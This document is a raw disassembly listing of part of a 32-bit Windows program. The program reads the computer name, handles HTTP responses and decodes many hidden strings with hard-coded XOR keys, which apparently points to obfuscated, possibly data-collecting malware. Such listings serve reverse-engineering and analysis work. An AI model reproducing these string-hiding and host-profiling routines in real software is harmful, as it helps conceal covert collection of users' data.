call dword [sym.imp.kernel32.dll_GetComputerNameExW]
test eax, eax
je 0x417eb1
lea ecx, [esp + 0x30]
mov dword [esp + 4], ebx
mov edx, ebx
push dword [esp + 0x1d0]
call fcn.0048d3f0
add esp, 4
cmp byte [esp + 0x3c], 0
jne 0x4176d7
mov eax, dword [esp + 0x38]
test eax, eax
je 0x4176d7
mov edx, dword [esp + 0x34]
add eax, edx
mov dword [esp + 8], edx
jmp 0x417686
add edx, 2
cmp ecx, eax
cmovne ecx, edx
nop word [eax + eax]
cmp ecx, eax
mov edx, ecx
je 0x4176d7
movzx ebx, byte [edx]
lea ecx, [edx + 1]
test bl, bl
jns 0x417680
cmp bl, 0xe0
jb 0x417672
cmp bl, 0xed
jne 0x4176b6
cmp ecx, eax
je 0x4176d7
lea ecx, [edx + 2]
cmp ecx, eax
je 0x4176d7
cmp byte [edx + 1], 0x9f
ja 0x417fc9
add edx, 3
mov ecx, edx
jmp 0x417680
add edx, 2
cmp ecx, eax
cmove edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, edx
cmp bl, 0xf0
jb 0x417680
xor edx, edx
cmp ecx, eax
setne dl
add ecx, edx
jmp 0x417680
mov ecx, dword [esp + 0x30]
mov ebx, dword [esp + 0x34]
mov edi, dword [esp + 0x38]
test esi, esi
je 0x4176fd
push dword [esp + 4]
push 0
push dword [0x903200]
mov esi, ecx
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, esi
mov eax, ecx
neg eax
jo 0x417560
mov dword [esp + 0x13c], ecx
mov dword [esp + 0x140], ebx
mov dword [esp + 0x144], edi
lea eax, [esp + 0x13c]
lea edx, [esp + 0x1a0]
lea ecx, [esp + 0x290]
mov dword [esp + 0x30], 0x8a9740
mov dword [esp + 0x34], 2
mov dword [esp + 0x40], 0
mov dword [esp + 0x38], ecx
mov dword [esp + 0x290], eax
mov dword [esp + 0x294], 0x40a570
mov dword [esp + 0x298], edx
lea ecx, [esp + 0x4dc]
lea edx, [esp + 0x30]
mov dword [esp + 0x29c], 0x40a570
mov dword [esp + 0x3c], 2
call fcn.0041bf90
movq xmm0, qword [esp + 0x4dc]
mov eax, dword [esp + 0x4e4]
movq qword [esp + 0x358], xmm0
mov dword [esp + 0x360], eax
mov eax, dword [0x90308c]
cmp eax, 2
jne 0x417f24
mov eax, dword [0x903094]
mov ecx, dword [0x903098]
mov dword [esp + 0x440], eax
lea eax, [0x8a740a]
mov dword [esp + 0x444], ecx
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xff9701b0
mov edx, dword [esp + 0x30]
call fcn.0040b340
mov ecx, 0x49e77063
mov edx, 0x5a833156
mov esi, 0xa9940f42
mov edi, 0x27f734fc
mov ebx, 0xec725d48
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
movzx eax, byte [eax + 0x14]
mov dword [esp + 0xf8], ecx
mov dword [esp + 0xfc], edx
mov dword [esp + 0x100], esi
mov dword [esp + 0x104], edi
mov dword [esp + 0x108], ebx
xor al, 5
lea esi, [esp + 0x160]
lea ebx, [esp + 0xf8]
mov byte [esp + 0x10c], al
mov ecx, esi
mov edx, ebx
push 0x15
call fcn.004c7830
add esp, 4
lea ecx, [esp + 0x30]
mov edx, esi
call fcn.004ae1d0
mov esi, dword [esp + 0x30]
lea eax, [esp + 0x34]
push 0xc0
push eax
lea edi, [esp + 0x1d8]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp esi, 3
jne 0x417da8
push 0xc0
push edi
lea esi, [esp + 0x298]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ecx, esi
mov dword [esp + 0xf8], 0
mov dword [esp + 0xfc], 1
mov dword [esp + 0x100], 0
call fcn.004c6330
mov dword [esp + 0x160], eax
mov dword [esp + 0x164], edx
mov dword [esp + 0x16c], 0
mov dword [esp + 0x168], 0xa00001
lea ecx, [esp + 0x30]
lea edx, [esp + 0x160]
push ebx
call fcn.004c6440
add esp, 4
movzx eax, byte [esp + 0x30]
cmp eax, 4
jne 0x417e1b
cmp dword [esp + 0x34], 0
je 0x417e40
mov ecx, dword [esp + 0xf8]
mov esi, dword [esp + 0x100]
mov edi, 0x2000
lea edx, [esp + 0x160]
mov dword [esp + 4], 0
mov eax, esi
or eax, ecx
jne 0x4179a5
lea eax, [esp + 0xf8]
lea ecx, [esp + 0x30]
push eax
call fcn.004c6440
add esp, 4
movzx eax, byte [esp + 0x30]
cmp eax, 4
jne 0x417e1b
cmp dword [esp + 0x34], 0
je 0x417e40
mov ecx, dword [esp + 0xf8]
mov esi, dword [esp + 0x100]
cmp esi, ecx
mov dword [esp + 0x110], esi
je 0x4179b0
mov eax, dword [esp + 0xfc]
jmp 0x417a3b
cmp esi, ecx
mov dword [esp + 0x110], esi
jne 0x417999
mov edx, 0x2601
cmp ecx, 0xffffffdf
ja 0x418023
mov esi, edi
lea edi, [ecx + 0x20]
lea eax, [ecx + ecx]
cmp eax, edi
cmova edi, eax
test edi, edi
js 0x418023
test ecx, ecx
je 0x4179ed
mov eax, dword [esp + 0xfc]
mov dword [esp + 0x30], eax
mov eax, 1
mov dword [esp + 0x38], ecx
jmp 0x4179ef
xor eax, eax
mov dword [esp + 0x34], eax
lea eax, [esp + 0x30]
lea ecx, [esp + 0x1d0]
mov edx, 1
push eax
push edi
call fcn.00422eb0
add esp, 8
cmp dword [esp + 0x1d0], 1
je 0x41801e
mov eax, dword [esp + 0x1d4]
mov ecx, edi
mov dword [esp + 0xfc], eax
mov dword [esp + 0xf8], edi
mov edi, esi
mov esi, dword [esp + 0x110]
mov dword [esp + 0x38c], ecx
sub ecx, esi
mov edx, dword [esp + 0x16c]
mov dword [esp + 0x390], edi
cmp ecx, edi
cmovae ecx, edi
add eax, esi
mov esi, dword [esp + 0x160]
mov edi, dword [esp + 0x168]
mov dword [esp + 0x1d0], eax
mov dword [esp + 0x1d4], ecx
mov dword [esp + 0x1c0], ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0x1d8], 0
mov dword [esp + 0x2c], edx
mov dword [esp + 0x1c], esi
mov esi, dword [esp + 8]
mov dword [esp + 0x20], edi
mov dword [esp + 0x1dc], ecx
mov ecx, dword [esp + 0x164]
mov dword [esp + 0xc], ecx
mov eax, edi
or eax, edx
jne 0x417ad4
jmp 0x417c60
mov dword [esp + 8], esi
mov eax, dword [esp + 0x1d4]
mov esi, dword [esp + 0x1d8]
mov ecx, 0
mov dword [esp + 4], edx
sub eax, esi
cmp eax, edi
sbb ecx, edx
jae 0x417b60
push 0
lea eax, [esp + 0x1d4]
push eax
push dword [esp + 0x24]
lea eax, [esp + 0x3c]
push eax
mov eax, dword [esp + 0x1c]
call dword [eax + 0x24]
add esp, 0x10
cmp byte [esp + 0x30], 4
jne 0x417c13
mov eax, dword [esp + 0x1d8]
mov edx, dword [esp + 4]
sub eax, esi
mov esi, dword [esp + 8]
sub edi, eax
sbb edx, 0
and ebx, 0xffffff00
mov dword [esp + 0x20], edi
or ebx, 4
mov dword [esp + 0x2c], edx
movzx eax, bl
mov eax, dword [eax*4 + 0x4196e4]
add eax, dword [esp + 0x28]
jmp eax
cmp eax, edi
jb 0x419692
mov ecx, dword [esp + 0x1dc]
mov eax, dword [esp + 0x1d0]
mov dword [esp + 0x18], ecx
sub ecx, esi
add eax, esi
cmp ecx, edi
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], 0
cmovae ecx, edi
mov dword [esp + 0x3c], ecx
push 0
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x24]
lea eax, [esp + 0x120]
push eax
mov eax, dword [esp + 0x1c]
call dword [eax + 0x24]
add esp, 0x10
cmp byte [esp + 0x114], 4
jne 0x417c2f
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x18]
lea ecx, [eax + esi]
cmp edx, ecx
mov dword [esp + 0x1d8], ecx
cmova ecx, edx
add esi, dword [esp + 0x3c]
mov edx, dword [esp + 4]
cmp ecx, esi
cmova esi, ecx
sub edi, eax
sbb edx, 0
and ebx, 0xffffff00
mov dword [esp + 0x1dc], esi
mov esi, dword [esp + 8]
mov dword [esp + 0x20], edi
or ebx, 4
mov dword [esp + 0x2c], edx
movzx eax, bl
mov eax, dword [eax*4 + 0x4196e4]
add eax, dword [esp + 0x28]
jmp eax
mov ebx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
mov edx, dword [esp + 4]
movzx eax, bl
mov eax, dword [eax*4 + 0x4196e4]
add eax, dword [esp + 0x28]
jmp eax
mov ebx, dword [esp + 0x114]
mov esi, dword [esp + 0x118]
mov edx, dword [esp + 4]
movzx eax, bl
mov eax, dword [eax*4 + 0x4196e4]
add eax, dword [esp + 0x28]
jmp eax
and ebx, 0xffffff00
xor edx, edx
xor edi, edi
or ebx, 4
movzx eax, bl
mov eax, dword [eax*4 + 0x4196e4]
add eax, dword [esp + 0x28]
jmp eax
lea eax, [esp + 0x4ec]
push 0xc0
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x4e8], esi
movzx eax, byte [0x90320d]
xor ecx, ecx
mov edx, 7
call fcn.0049d570
test eax, eax
je 0x419692
lea ecx, [esp + 0x4e8]
mov dword [eax + 3], 0x6e776f6e
mov dword [eax], 0x6e6b6e55
mov dword [esp + 0x1b0], 7
mov dword [esp + 0x1b4], eax
mov dword [esp + 0x1b8], 7
call fcn.00406560
jmp 0x41816b
movzx ebx, byte [esp + 0x33]
movzx ecx, word [esp + 0x31]
mov esi, dword [esp + 0x34]
shl ecx, 8
shl ebx, 0x18
or ebx, ecx
or ebx, eax
cmp bl, 4
mov ecx, ebx
mov edx, ebx
jne 0x418025
mov edi, dword [esp + 0x164]
mov esi, dword [esp + 0x160]
mov eax, dword [edi]
test eax, eax
je 0x417e5a
push esi
call eax
add esp, 4
cmp dword [edi + 4], 0
je 0x417e78
cmp dword [edi + 8], 9
jb 0x417e69
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x100]
cmp eax, 0xa00000
jbe 0x417ed5
lea ecx, [esp + 0x1d4]
mov edx, 0x27
push 0x20
push str.response_too_big_for_into_stringthe_status_linea_headercontent_encodingconnection
call fcn.004ab540
add esp, 8
mov dword [esp + 0x1d0], 0x80000000
jmp 0x41808d
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
test esi, esi
je 0x41755e
push ebx
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x41755e
mov esi, dword [esp + 0xfc]
lea ecx, [esp + 0x30]
mov edx, esi
push eax
call fcn.0041bdb0
add esp, 4
mov edi, dword [esp + 0x38]
test edi, edi
js 0x419692
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
je 0x417f38
movzx eax, byte [0x90320d]
xor ecx, ecx
mov edx, edi
call fcn.0049d570
mov ebx, eax
test eax, eax
jne 0x417f3d
jmp 0x419692
mov ecx, 0x90308c
mov edx, 0x90308c
call fcn.004ef6b0
jmp 0x4177b7
mov ebx, 1
push edi
push dword [esp + 8]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp dword [esp + 0xf8], 0
mov dword [esp + 0x1d0], edi
mov dword [esp + 0x1d4], ebx
mov dword [esp + 0x1d8], edi
je 0x417f79
push esi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
test dword [esp + 8], 0x7fffffff
lea esi, [esp + 0x1d0]
je 0x4180b3
push dword [esp + 4]
jmp 0x4180a5
lea ecx, [esp + 0x30]
call fcn.004d8390
test esi, esi
je 0x417fb3
push edi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x34]
movzx ecx, byte [esp + 0x30]
mov dword [esp + 0x20], eax
mov byte [esp + 0x2c], cl
jmp 0x4167e5
mov edi, dword [esp + 0x30]
mov eax, edi
neg eax
jno 0x417fe4
mov ebx, dword [esp + 0x38]
mov edi, dword [esp + 0x3c]
mov ecx, dword [esp + 8]
jmp 0x4176e3
lea ecx, [esp + 0x290]
call fcn.004d8390
test edi, edi
je 0x418006
push dword [esp + 8]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
mov ebx, dword [esp + 0x290]
mov edi, dword [esp + 0x294]
mov ecx, 0x80000000
jmp 0x4176e3
mov edx, 0x2601
mov cl, 1
mov edi, dword [esp + 0x164]
mov eax, edx
shr edx, 0x18
mov byte [esp + 0x1d4], cl
shr eax, 8
mov byte [esp + 0x1d7], dl
mov word [esp + 0x1d5], ax
mov dword [esp + 0x1d8], esi
mov dword [esp + 0x1d0], 0x80000000
mov esi, dword [esp + 0x160]
mov eax, dword [edi]
test eax, eax
je 0x41806f
push esi
call eax
add esp, 4
cmp dword [edi + 4], 0
je 0x41808d
cmp dword [edi + 8], 9
jb 0x41807e
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0xf8], 0
lea esi, [esp + 0x1d0]
je 0x4180b3
push dword [esp + 0xfc]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
mov edx, dword [esp + 0x1d0]
mov eax, dword [esp + 0x1d4]
mov ecx, edx
neg ecx
mov ecx, dword [esp + 0x1d8]
jno 0x41812b
mov dword [esp + 0x1d4], ecx
mov dword [esp + 0x34], 2
mov dword [esp + 0x7c], 0x80000000
mov dword [esp + 0x88], 0
mov byte [esp + 0x90], 8
mov dword [esp + 0x1d0], eax
mov dword [esp + 0x30], 2
lea ecx, [esp + 0x4e8]
lea edx, [esp + 0x30]
push esi
call fcn.004a6dd0
add esp, 4
cmp dword [esp + 0x4e8], 3
jne 0x417dc5
jmp 0x41814b
mov dword [esp + 0x4ec], edx
mov dword [esp + 0x4f0], eax
mov dword [esp + 0x4f4], ecx
mov dword [esp + 0x4e8], 3
mov eax, dword [esp + 0x4f4]
movq xmm0, qword [esp + 0x4ec]
mov dword [esp + 0x1b8], eax
movq qword [esp + 0x1b0], xmm0
lea ecx, [esp + 0x30]
mov dword [esp + 0x448], 0x8a9750
mov dword [esp + 0x44c], 0x10
call fcn.00419700
mov eax, dword [esp + 0x3c]
movsd xmm0, qword [esp + 0x34]
mov dword [esp + 0x370], eax
lea eax, [0x89a433]
movsd qword [esp + 0x368], xmm0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xd4f413db
mov edx, dword [esp + 0x30]
call fcn.0040b070
mov ecx, 0x8190c9d9
mov edx, 0x8ddf140c
mov esi, 0x848ad7c3
mov edi, 0x1029c7ba
mov ebx, 0x330ce975
xor ecx, dword [eax]
mov dword [esp + 4], ecx
mov ecx, 0x6a61d2e4
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
mov eax, dword [esp + 4]
mov dword [esp + 0xf8], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0xfc], edx
mov dword [esp + 0x100], esi
mov dword [esp + 0x104], edi
mov dword [esp + 0x108], ebx
mov dword [esp + 0x10c], ecx
mov dword [esp + 0x450], eax
lea eax, [0x89c273]
mov dword [esp + 0x454], 0x18
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xa0325a8
mov edx, dword [esp + 0x30]
call fcn.0040b000
xorps xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x78], 0
movsd qword [esp + 0x70], xmm0
xorps xmm0, xmm0
movaps xmmword [esp + 0x60], xmm0
movaps xmmword [esp + 0x50], xmm0
movaps xmmword [esp + 0x40], xmm0
movaps xmmword [esp + 0x30], xmm0
nop dword [eax]
mov edx, dword [ecx + 0x8a9764]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x34], edx
add ecx, 4
cmp ecx, 0x48
jb 0x4182a0
movzx eax, word [eax + 0x4c]
xor al, 0x32
xor ah, 0xa4
mov byte [esp + 0x7c], al
mov byte [esp + 0x7d], ah
lea eax, [esp + 0x1d0]
movaps xmm1, xmmword [esp + 0x40]
movaps xmm2, xmmword [esp + 0x50]
movaps xmm0, xmmword [esp + 0x30]
mov dword [esp + 0x458], eax
lea eax, [0x89e301]
mov dword [esp + 0x45c], 0x4e
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
movaps xmmword [esp + 0x1e0], xmm1
movaps xmm1, xmmword [esp + 0x60]
movaps xmmword [esp + 0x1f0], xmm2
movsd xmm2, qword [esp + 0x70]
movaps xmmword [esp + 0x1d0], xmm0
movaps xmmword [esp + 0x200], xmm1
movsd xmm1, qword [esp + 0x76]
movsd qword [esp + 0x210], xmm2
movsd qword [esp + 0x216], xmm1
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0x5dea3bbb
mov edx, dword [esp + 0x30]
call fcn.0040b490
mov ecx, 0xeed8710a
mov edx, 0xffd16fb6
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x1cc]
xor al, 5
mov dword [esp + 0x418], ecx
mov dword [esp + 0x41c], edx
add esi, edi
mov ecx, 0xc22e4507
mov byte [esp + 0x420], al
lea eax, [esp + 0x418]
mov dword [esp + 0x460], eax
mov eax, esi
mov dword [esp + 0x464], 9
imul ecx
add edx, esi
mov eax, edx
sar edx, 0x10
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x15180
sub esi, eax
mov eax, esi
mov dword [esp + 0x14], esi
sar eax, 0x1f
add edx, eax
mov dword [esp + 4], eax
cmp edx, 1
je 0x41840e
mov esi, dword [esp + 0x1c4]
cmp edx, 0xffffffff
jne 0x4184c5
mov ecx, dword [esp + 0x10]
mov eax, ecx
and eax, 0x1ff0
cmp eax, 0x10
jbe 0x41843b
add eax, 0xfffffff0
and ecx, 0x7fffe00f
or ecx, eax
mov dword [esp + 0x10], ecx
jmp 0x4184c5
mov ecx, dword [esp + 0x394]
mov esi, dword [esp + 0x1c4]
cmp ecx, 0x16d1
jae 0x41847f
mov eax, dword [esp + 0x10]
add ecx, 0x10
and eax, 0x7fffe007
or eax, ecx
mov dword [esp + 0x10], eax
jmp 0x4184c5
dec esi
mov ecx, 0x51eb851f
mov eax, esi
mul ecx
mov ecx, esi
shr edx, 7
imul eax, edx, 0x190
sub ecx, eax
movzx ecx, byte [ecx + 0x8aa38c]
or ecx, 0x19f0
mov eax, ecx
shr eax, 3
movsx eax, byte [eax + 0x8aa04c]
test eax, eax
je 0x4184bd
shl eax, 3
shl esi, 0xd
sub ecx, eax
or ecx, esi
mov dword [esp + 0x10], ecx
jmp 0x4184c5
lea eax, [esi - 0x3fffe]
mov dword [esp + 0x10], 0x7fffe01f
cmp eax, 0xfff80002
jb 0x4184c5
inc esi
mov ecx, 0xa3d70b
mov eax, esi
mul ecx
mov ecx, esi
shl esi, 0xd
imul eax, edx, 0x190
sub ecx, eax
movzx eax, byte [ecx + 0x8aa38c]
or esi, eax
or esi, 0x10
mov dword [esp + 0x10], esi
jmp 0x4184c5
mov dword [esp + 0x10], 0x800016e7
mov eax, edi
mov ecx, edi
mov ebx, 0x88888889
mov dword [esp + 0x114], 0
mov dword [esp + 0x118], 1
mov dword [esp + 0x11c], 0
shr eax, 0x1f
neg ecx
lea eax, [eax + eax + 0x2b]
cmovs ecx, edi
mov dword [esp + 0x3dc], eax
mov eax, ecx
imul ebx
add edx, ecx
mov eax, edx
sar edx, 5
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3c
sub ecx, eax
mov esi, ecx
sar esi, 0x1f
mov edi, esi
add esi, edx
mov eax, esi
and edi, 0x3c
imul ebx
add edx, esi
mov eax, edx
sar edx, 5
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3c
sub esi, eax
mov eax, esi
sar eax, 0x1f
mov ebx, eax
add eax, edx
and ebx, 0x3c
mov dword [esp + 0x148], eax
lea eax, [esp + 0x3dc]
add ebx, esi
add edi, ecx
mov dword [esp + 0x398], edi
mov dword [esp + 0x378], ebx
je 0x4186b5
mov dword [esp + 0x290], eax
lea eax, [esp + 0x148]
mov dword [esp + 0x294], 0x420f50
movdqa xmm0, xmmword [0x4f33e0]
movaps xmm2, xmmword [0x4f33f0]
movaps xmm1, xmmword [0x4f3400]
mov dword [esp + 0x160], 0x8aa6c8
mov dword [esp + 0x164], 4
mov dword [esp + 0x30], 2
mov dword [esp + 0x38], 2
mov dword [esp + 0x40], 0x20
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov byte [esp + 0x4c], 3
mov dword [esp + 0x50], 2
mov dword [esp + 0x298], eax
lea eax, [esp + 0x378]
mov dword [esp + 0x29c], 0x421c10
mov dword [esp + 0x2a0], eax
lea eax, [esp + 0x398]
mov dword [esp + 0x2a4], 0x421c10
mov dword [esp + 0x2a8], eax
lea eax, [esp + 0x30]
mov dword [esp + 0x2ac], 0x421c10
mov dword [esp + 0x170], eax
lea eax, [esp + 0x290]
movdqu xmmword [esp + 0x58], xmm0
mov dword [esp + 0x68], 8
mov byte [esp + 0x6c], 3
mov dword [esp + 0x70], 2
movups xmmword [esp + 0x78], xmm2
mov dword [esp + 0x88], 8
mov byte [esp + 0x8c], 3
mov dword [esp + 0x90], 2
movups xmmword [esp + 0x98], xmm1
mov dword [esp + 0xa8], 8
mov dword [esp + 0x174], 4
mov byte [esp + 0xac], 3
mov dword [esp + 0x168], eax
mov dword [esp + 0x16c], 4
jmp 0x4187b5
mov dword [esp + 0x290], eax
lea eax, [esp + 0x148]
movdqa xmm0, xmmword [0x4f33e0]
movaps xmm1, xmmword [0x4f33f0]
mov dword [esp + 0x294], 0x420f50
mov dword [esp + 0x160], 0x8aa6b0
mov dword [esp + 0x164], 3
mov dword [esp + 0x30], 2
mov dword [esp + 0x38], 2
mov dword [esp + 0x40], 0x20
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov byte [esp + 0x4c], 3
mov dword [esp + 0x50], 2
mov dword [esp + 0x298], eax
lea eax, [esp + 0x378]
mov dword [esp + 0x29c], 0x421c10
mov dword [esp + 0x2a0], eax
lea eax, [esp + 0x30]
mov dword [esp + 0x2a4], 0x421c10
mov dword [esp + 0x170], eax
lea eax, [esp + 0x290]
mov dword [esp + 0x174], 3
movdqu xmmword [esp + 0x58], xmm0
mov dword [esp + 0x68], 8
mov byte [esp + 0x6c], 3
mov dword [esp + 0x70], 2
movups xmmword [esp + 0x78], xmm1
mov dword [esp + 0x88], 8
mov dword [esp + 0x168], eax
mov byte [esp + 0x8c], 3
mov dword [esp + 0x16c], 3
lea eax, [esp + 0x160]
lea ecx, [esp + 0x114]
mov edx, 0x4f3960
push eax
call fcn.0041d4c0
add esp, 4
test al, al
jne 0x419692
mov eax, dword [esp + 4]
movd xmm1, dword [esp + 0x24]
and eax, 0x15180
add eax, dword [esp + 0x14]
movd xmm0, eax
mov eax, dword [esp + 0x11c]
punpckldq xmm0, xmm1
movsd xmm1, qword [esp + 0x114]
mov dword [esp + 0x174], eax
mov eax, dword [esp + 0x10]
movsd qword [esp + 0x16c], xmm1
mov dword [esp + 0x18c], eax
mov eax, dword [esp + 0x1cc]
mov dword [esp + 0x160], 1
movq qword [esp + 0x164], xmm0
mov dword [esp + 0x178], eax
lea eax, [0x8a4fd8]
mov dword [esp + 0x17c], str._Y__m__d__H:_M:_S_a_B
mov dword [esp + 0x180], 0x11
mov dword [esp + 0x184], 4
mov dword [esp + 0x188], 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xf16642d1
mov edx, dword [esp + 0x30]
call fcn.0040b040
mov ecx, 0xa38f2243
mov edx, 0xbf2b55a0
mov esi, 0x6678d28f
mov edi, 0xf9089ffb
mov ebx, 0xb406da80
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
movzx eax, byte [eax + 0x14]
xor al, 0x4b
mov dword [esp + 0x148], ecx
mov dword [esp + 0x14c], edx
mov dword [esp + 0x150], esi
mov dword [esp + 0x154], edi
mov dword [esp + 0x158], ebx
mov byte [esp + 0x15c], al
lea eax, [esp + 0x148]
mov dword [esp + 0x468], eax
lea eax, [0x89e43f]
mov dword [esp + 0x46c], 0x15
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xb4c97a48
mov edx, dword [esp + 0x30]
call fcn.0040b220
mov ecx, 0x380f291e
mov edx, 0x78bc7688
mov esi, 0x3bccba7e
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx ebx, byte [eax + 0xe]
movzx eax, word [eax + 0xc]
xor al, 0xdf
xor ah, 0xab
mov dword [esp + 0x3f8], ecx
mov dword [esp + 0x3fc], edx
mov dword [esp + 0x400], esi
mov byte [esp + 0x404], al
xor bl, 0xe6
mov byte [esp + 0x405], ah
lea eax, [esp + 0x3f8]
mov byte [esp + 0x406], bl
mov dword [esp + 0x470], eax
lea eax, [0x8a2f16]
mov dword [esp + 0x474], 0xf
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0x4c8d701b
mov edx, dword [esp + 0x30]
call fcn.0040b2b0
mov ecx, 0xf9ba1fb4
mov edx, 0xf3d490d2
mov esi, 0x5812e695
mov edi, 0x9cc8da55
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
movzx ebx, byte [eax + 0x12]
movzx eax, word [eax + 0x10]
xor al, 0x14
xor ah, 0xb
mov dword [esp + 0x378], ecx
mov dword [esp + 0x37c], edx
mov dword [esp + 0x380], esi
mov dword [esp + 0x384], edi
mov byte [esp + 0x388], al
xor bl, 0xc5
mov byte [esp + 0x389], ah
lea eax, [esp + 0x378]
mov byte [esp + 0x38a], bl
mov dword [esp + 0x478], eax
lea eax, [0x8a0b28]
mov dword [esp + 0x47c], 0x13
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xc1dc959f
mov edx, dword [esp + 0x30]
call fcn.0040b3a0
mov ecx, 0xcf123b7
mov edx, 0x387d2974
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x7d
mov dword [esp + 0x424], ecx
mov dword [esp + 0x428], edx
mov byte [esp + 0x42c], al
lea eax, [esp + 0x424]
mov dword [esp + 0x480], eax
lea eax, [0x8a88b2]
mov dword [esp + 0x484], 9
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0x8e2a0c9
mov edx, dword [esp + 0x30]
call fcn.0040b090
mov ecx, 0x5a387da0
mov edx, 0xe406bba6
mov esi, 0x5d3e21ff
mov edi, 0xb930229f
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
movzx eax, word [eax + 0x10]
xor al, 0xee
xor ah, 0x19
mov dword [esp + 0x398], ecx
mov dword [esp + 0x39c], edx
mov dword [esp + 0x3a0], esi
mov dword [esp + 0x3a4], edi
mov byte [esp + 0x3a8], al
mov byte [esp + 0x3a9], ah
lea eax, [esp + 0x398]
mov dword [esp + 0x488], eax
lea eax, [0x89eacf]
mov dword [esp + 0x48c], 0x12
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0x55fef4b2
mov edx, dword [esp + 0x30]
call fcn.0040af00
mov ecx, 0x7725ea38
mov edx, 0x86336e29
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0x92
xor ah, 0x41
mov dword [esp + 0x3ac], ecx
mov dword [esp + 0x3b0], edx
mov byte [esp + 0x3b4], al
mov byte [esp + 0x3b5], ah
lea eax, [esp + 0x3ac]
mov dword [esp + 0x490], eax
lea eax, [0x89f2b7]
mov dword [esp + 0x494], 0xa
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xf71ea2fb
mov edx, dword [esp + 0x30]
call fcn.0040aeb0
mov ecx, 0x97e6250c
mov edx, 0x3bb6194f
mov esi, 0xeb6f2500
mov edi, 0xf62b7e07
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
lea eax, [esp + 0x4cc]
mov dword [esp + 0x498], eax
mov dword [esp + 0x49c], 0x10
mov dword [esp + 0x4cc], ecx
mov dword [esp + 0x4d0], edx
mov dword [esp + 0x4d4], esi
mov dword [esp + 0x4d8], edi
mov eax, dword [0x903050]
cmp eax, 2
jne 0x419637
